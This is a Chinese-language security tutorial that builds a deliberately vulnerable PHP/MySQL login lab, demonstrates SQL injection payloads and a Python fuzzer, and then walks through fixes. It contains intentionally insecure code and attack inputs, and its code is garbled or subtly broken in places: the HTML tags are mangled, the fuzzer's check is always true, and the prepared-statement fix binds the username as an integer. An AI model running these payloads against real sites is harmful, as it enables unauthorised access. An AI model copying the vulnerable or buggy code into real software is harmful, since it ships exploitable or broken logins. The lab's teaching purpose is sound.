1、在Linux准备一套Xampp或者Phpstudy:模拟攻防
2、在vscode安装Rremote Development插件,进行远程调试
新添加主机
ssh [email protected]
编辑ssh的配置文件的路径
在opt/lampp/security创建项目
DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>title>
<link rel="stylesheet" href="style.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js" charset="utf-8">script>
<style>
*{
margin: 0;
padding: 0;
text-decoration: none;
font-family: montserrat;
box-sizing: border-box;
}
body{
min-height: 100vh;
background-image: linear-gradient(120deg, #3498db, #8e44ad);
}
.login-form{
width: 360px;
background: #f1f1f1;
height: 580px;
padding: 80px 40px;
border-radius: 10px;
position: absolute;
left: 50%;
top: 50%;
transform: translate(-50%, -50%);
}
.login-form h1{
text-align: center;
margin-bottom: 60px;
}
.txtb{
border-bottom: 2px solid #adadad;
position: relative;
margin: 30px 0;
}
.txtb input{
font-size: 15px;
color: #333;
border: none;
width: 100%;
outline: none;
background: none;
padding: 0 5px;
height: 40px;
}
.txtb span::before{
content: attr(data-placeholder);
position: absolute;
top: 50%;
left: 5px;
color: #adadad;
transform: translateY(-50%);
z-index: -1;
transition: .5s;
}
.txtb span::after{
content: '';
position: absolute;
left: 0%;
top: 100%;
width: 0%;
height: 2px;
background: linear-gradient(120deg, #3498db, #8e44ad);
transition: .5s;
}
.focus + span::before{
top: -5px;
}
.focus + span::after{
width: 100%;
}
.logbtn{
display: block;
width: 100%;
height: 50px;
border: none;
background: linear-gradient(120deg, #3498db, #8e44ad, #3498db);
background-size: 200%;
color: #fff;
outline: none;
cursor: pointer;
transition: .5s;
}
.logbtn:hover{
background-position: right;
}
.bottom-text{
margin-top: 60px;
text-align: center;
font-size: 13px;
}
style>
head>
<body>
<form action="./login.php" class="login-form" method="post">
<h1>欢迎登陆h1>
<div class="txtb">
用户名:<input type="text" name="username">
<span >span>
div>
<div class="txtb">
密码: <input type="password" name="password">
<span >span>
div>
<div class="txtb">
验证码:<input type="text" name="vcode">
<span >span>
div>
<input type="submit" class="logbtn" value="bt" name="bt">
form>
<script type="text/javascript">
$(".txtb input").on("focus", function(){
$(this).addClass("focus");
});
$(".txtb input").on("blur", function(){
if($(this).val() == "")
$(this).removeClass("focus");
});
script>
body>
html>
if(!empty($_POST['bt'])){
//获取用户提交的登陆信息
$username = $_POST["username"];
$password = $_POST["password"];
$vcode = $_POST["vcode"];
//万能验证码,存在安全漏洞,owasp-认证和授权失败
if ($vcode !== "0000"){
die("vcode-error");
}
$conn = new mysqli("127.0.0.1","root","","learn") or die("数据库连接不成功");
$conn -> query("set names utf8");
$conn -> set_charset("utf8");
$sql = "SELECT * FROM user where username ='$username' and password = '$password'";
$result = $conn -> query($sql);
//存在注入漏洞
if($result->num_rows == 1){
echo "login-pass";
echo "";
}
else{
echo "login-fail";
echo "";
}
# 关闭数据库
$conn -> close();
}
// 以下代码违背了owasp 失效访问控制
echo "欢迎登陆到安全测试平台";
在登陆页面输入一个单引号[']作为用户名,密码任意,验证码0000,响应如下
---------------------------------------------------------------------------------------------------
<br />
<b>Notice</b>: Trying to get property of non-object in <b>/opt/lampp/htdocs/security/login.php</b> on line <b>17</b><br />
login-fail<script>location.href='./login.html'</script>
----------------------------------------------------------------------------------------------------
以上信息出现MySQL的报错信息,上述报错信息存在两个可能漏洞
1、单一很高可以成功引起sql语句报错,说名后台没有对单引号进行处理
SELECT * FROM user where username ='$username' and password = '$password'
正常情况:SELECT * FROM user where username ='zhangsan' and password = 'zhangsan123'
攻击情况:SELECT * FROM user where username =''' and password = '123456'
username : x' or id =1#'
post正文:username=1' or 1=1 #'&password=111&vcode=0000&bt=bt
2、在报错语句中出现了敏感信息:
/opt/lampp/htdocs/security/login.php ,当前代码的绝对路径
(1)、拼接为有效的代码或语句
(2)、确保完成了闭合,并且可以改变原有执行逻辑
通常并非处理一下就可以完成拼接和闭合,需要不停的尝试,知道出现不一样的结果。这个尝试过程建议使用python+字典快速处理
上述代码一共存在6个漏洞
1、welcome.php页面谁都可以访问,没有进行登陆判断(中)
2、在登陆也买你输入 ' 作为用户名报错信息存在login.php的绝对路径,暴露了系统后台的敏感信息(低)
3、保存用户信息的数据表中,密码是明文保存,不够安全(中)
4、登陆页面可以进行SQL注入,进而轻易实现登陆(高)
5、login.php页面中使用了万能验证码(中)
6、登陆功能可以被爆破,没有进行爆破防护(中)
# 利用python对php的登陆页面进行fuzz测试
import requests
def login_fuzz():
url = "http://192.168.74.132/security/login.php"
data = {"username": f"'", "password": f"{1}", "vcode": "0000", "bt": "bt"}
resp = requests.post(url, data)
if "Notice" or "error" or "Warning" in resp.text:
print("本登陆功能可能存在sql注入漏洞,可以试一试")
# 如果单引号存在嫌疑则继续利用
with open("../dict/sql.txt", "r", encoding="utf8") as file:
# 获取字典列表
payload_list = file.readlines()
file.close()
for payload in payload_list:
payload = payload.replace("\n","")
resp = requests.post(url, {"username": f"{payload}", "password": f"12312", "vcode": "0000", "bt": "bt"})
if "login-fail" not in resp.text:
print(f"测试payload成功:{payload}")
else:
print("通过测试,发现后台页面对单引号不敏感")
if __name__ == '__main__':
login_fuzz()
//1、在comm.php中启用session
session_start();
//2、welcome.php导入
if( empty($_SESSION['islogin']) or $_SESSION["islogin"] != 'true'){
die("你还没有登陆,请先登陆"."
");
}
echo "欢迎登陆到安全测试平台"."
";
//3、在login.php中设置session
if($result->num_rows == 1){
echo "login-pass";
# 登陆成功后,记录session变量
$_SESSION['username'] = $username;
$_SESSION['islogin'] = 'true';
echo "";
}
//1、在login.php中如果sql语句执行失败
$sql = "SELECT * FROM user where username ='$username' and password = '$password'";
$result = $conn -> query($sql) or die("SQL语句执行失败");
//1、注册时应该设置为md5,使用php内置的md5函数
//2、将数据库密码字段长度设置为32位及以上
$result = md5("password");
echo $result;
登陆漏洞:登陆页面可以进行SQL注入,进而轻易实现登陆(高)
1、从代码和SQL语句的逻辑层面进行考虑,不能让密码对比失效
2、基于将用户输入的引号(单引号和双引号)继续转义处理的前提,可以使用PHP内置函数addslashes进行强制转义
3、另外一种方法:使用mysqli预处理的功能,也可以进行防御
// sql存在逻辑问题,用户名和密码不应该放在同一条sql中
//应该先通过查询user表,找到一条记录(用户名唯一),再进行密码的单独对比
// $sql = "SELECT * FROM user where username ='$username' and password = '$password'";
$sql = "SELECT * FROM user where username ='$username'";
$result = $conn -> query($sql) or die("SQL语句执行失败");
// 如果用户名真实存在,刚好找到一条,则单独再继续密码的比,即使出现SQL注入漏洞,但是只要密码正确,也无法登录
if($result->num_rows == 1){
$row = $result->fetch_assoc();
if($password == $row['password']){
echo "login-pass";
# 登陆成功后,记录session变量
$_SESSION['username'] = $username;
$_SESSION['islogin'] = 'true';
echo "";
}
else{
// echo "pass-error"; // 不建议直接明确告诉用户,是密码还是用户名错误
echo "login-fail";
echo "";
}
}
else{
echo "login-fail";
echo "";
}
可以将字符串的单引号双引号,反斜杠,NULL值自动添加转义符,从而方式SQL注入中对单引号和双引号的预防
原始SQL语句如下:
$sql = "SELECT * FROM user where username ='$username'" and 'password' =$password;
如果用户输入 1' or 1=1 #',则SQL语句变成:
$sql = "SELECT * FROM user where username ='1' or 1=1 #''" and 'password' =$password;
如果使用addslashes函数,则变成
$sql = "SELECT * FROM user where username ='1\' or 1=1 #\''" and 'password' =$password;
逻辑上保持不变
$username = addslashes($_POST["username"]);
预处理的过程:先交给MYSQL数据库进行SQL语句的准备,准备好后再将SQL语句中的参数进行值的替换,引号会进行转义处理,将所有参数变成普通字符串,再进行第二次的正式的SQL语句执行。MYSQLi的预处理既支持面向对象,也支持面向过程
//mysqli预处理
function mysqli_prepare_oop(){
$conn = new mysqli("127.0.0.1","root","","learn") or die("数据库连接不成功");
$conn -> set_charset("utf8");
// ?在预处理语句中表示参数
$sql = "select * from user where id = ?";
// 实例化预处理对象
$stmt = $conn ->prepare($sql);
//实例化后需要将参数进行绑定,并在执行时进行替换,bind_param第一个参数位数据类型:i整数,s字符串,d小数,b二进制
$stmt -> bind_param("i", $userid);
$userid = 1;
//正式执行sql语句,如果是更新类的操作,update,delete,insert,执行后不做其他操作没问题
// $stmt->execute(); //execute方法返回不二类型,返回执行成功还是失败
//如果针对 查询语句,单纯只是执行无法取得查询结果的,需要进行结果绑定
$stmt->bind_result($id,$username,$password);
$stmt->execute();
// 调用结果并进行处理
$stmt ->store_result();
// 输出行数
echo $stmt->num_rows()."
";
//遍历结果
while ($stmt->fetch()){
echo $userid." ".$username." ".$password."
";
}
}
2、使用预处理防止SQL注入
$sql = "SELECT * FROM user where username =?";
// $result = $conn -> query($sql) or die("SQL语句执行失败");
$stmt = $conn->prepare($sql);
$stmt->bind_param('i',$username); //绑定查询参数
$stmt->bind_result($id,$username2,$password2); //绑定结果参数
$stmt->execute();
$stmt->store_result();
if($stmt->num_rows() == 1){
$row = $stmt->fetch();
if($password == $password2){
echo "login-pass";
# 登陆成功后,记录session变量
$_SESSION['username'] = $username;
$_SESSION['islogin'] = 'true';
echo "";
}
else{
// echo "pass-error"; // 不建议直接明确告诉用户,是密码还是用户名错误
echo "login-fail";
echo "";
}
}
else{
echo "login-fail";
echo "";
}